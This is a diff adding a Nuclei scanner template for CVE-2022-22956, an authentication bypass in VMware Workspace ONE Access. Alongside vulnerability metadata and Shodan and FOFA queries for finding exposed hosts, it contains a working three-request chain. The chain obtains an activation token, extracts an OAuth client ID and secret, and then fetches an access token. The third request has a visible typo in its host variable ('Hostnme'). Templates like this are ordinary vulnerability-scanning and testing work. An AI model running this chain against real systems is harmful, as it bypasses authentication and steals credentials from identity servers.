|
| 1 | +id: CVE-2022-22956 |
| 2 | + |
| 3 | +info: |
| 4 | + name: VMware Workspace ONE Access - Authentication Bypass |
| 5 | + author: daffainfo |
| 6 | + severity: critical |
| 7 | + description: | |
| 8 | + VMware Workspace ONE Access has two authentication bypass vulnerabilities (CVE-2022-22955 & CVE-2022-22956) in the OAuth2 ACS framework. A malicious actor may bypass the authentication mechanism and execute any operation due to exposed endpoints in the authentication framework. |
| 9 | + impact: | |
| 10 | + Attackers can bypass authentication and perform unauthorized operations, potentially leading to full system compromise. |
| 11 | + remediation: | |
| 12 | + Apply the latest security patches provided by VMware to address these vulnerabilities. |
| 13 | + reference: |
| 14 | + - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.rb |
| 15 | + - https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html |
| 16 | + - https://nvd.nist.gov/vuln/detail/CVE-2022-22956 |
| 17 | + - http://packetstormsecurity.com/files/171918/Mware-Workspace-ONE-Remote-Code-Execution.html |
| 18 | + classification: |
| 19 | + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 20 | + cvss-score: 9.8 |
| 21 | + cve-id: CVE-2022-22956 |
| 22 | + cwe-id: CWE-287 |
| 23 | + epss-score: 0.56895 |
| 24 | + epss-percentile: 0.97982 |
| 25 | + cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:* |
| 26 | + metadata: |
| 27 | + verified: true |
| 28 | + max-request: 3 |
| 29 | + vendor: vmware |
| 30 | + product: identity_manager |
| 31 | + shodan-query: http.favicon.hash:"-1250474341" |
| 32 | + fofa-query: icon_hash=-1250474341 |
| 33 | + tags: cve,cve2022,vmware,workspace,auth-bypass,vkev |
| 34 | + |
| 35 | +flow: http(1) && http(2) && http(3) |
| 36 | + |
| 37 | +http: |
| 38 | + - raw: |
| 39 | + - | |
| 40 | + POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1 |
| 41 | + Host: {{Hostname}} |
| 42 | + Content-Type: application/x-www-form-urlencoded |
| 43 | + Content-Length: 0 |
| 44 | +
|
| 45 | + matchers: |
| 46 | + - type: dsl |
| 47 | + dsl: |
| 48 | + - 'contains_all(body, "activationToken", "_links")' |
| 49 | + - 'contains(header, "application/json")' |
| 50 | + - 'status_code == 200' |
| 51 | + condition: and |
| 52 | + internal: true |
| 53 | + |
| 54 | + extractors: |
| 55 | + - type: json |
| 56 | + name: activation_token |
| 57 | + json: |
| 58 | + - '.activationToken' |
| 59 | + internal: true |
| 60 | + |
| 61 | + - raw: |
| 62 | + - | |
| 63 | + POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1 |
| 64 | + Host: {{Hostname}} |
| 65 | + Content-Type: application/x-www-form-urlencoded |
| 66 | +
|
| 67 | + {{activation_token}} |
| 68 | +
|
| 69 | + matchers: |
| 70 | + - type: dsl |
| 71 | + dsl: |
| 72 | + - 'contains_all(body, "client_id", "client_secret")' |
| 73 | + - 'contains(header, "application/json")' |
| 74 | + - 'status_code == 200' |
| 75 | + condition: and |
| 76 | + internal: true |
| 77 | + |
| 78 | + extractors: |
| 79 | + - type: json |
| 80 | + name: client_id |
| 81 | + json: |
| 82 | + - '.client_id' |
| 83 | + internal: true |
| 84 | + |
| 85 | + - type: json |
| 86 | + name: client_secret |
| 87 | + json: |
| 88 | + - '.client_secret' |
| 89 | + internal: true |
| 90 | + |
| 91 | + - raw: |
| 92 | + - | |
| 93 | + POST /SAAS/auth/oauthtoken HTTP/1.1 |
| 94 | + Host: {{Hostnme}} |
| 95 | + Content-Type: application/x-www-form-urlencoded |
| 96 | +
|
| 97 | + grant_type=client_credentials&client_id={{client_id}}&client_secret={{client_secret}} |
| 98 | +
|
| 99 | + matchers: |
| 100 | + - type: dsl |
| 101 | + dsl: |
| 102 | + - 'contains_all(body, "access_token", "token_type")' |
| 103 | + - 'contains(header, "application/json")' |
| 104 | + - 'status_code == 200' |
| 105 | + condition: and |
0 commit comments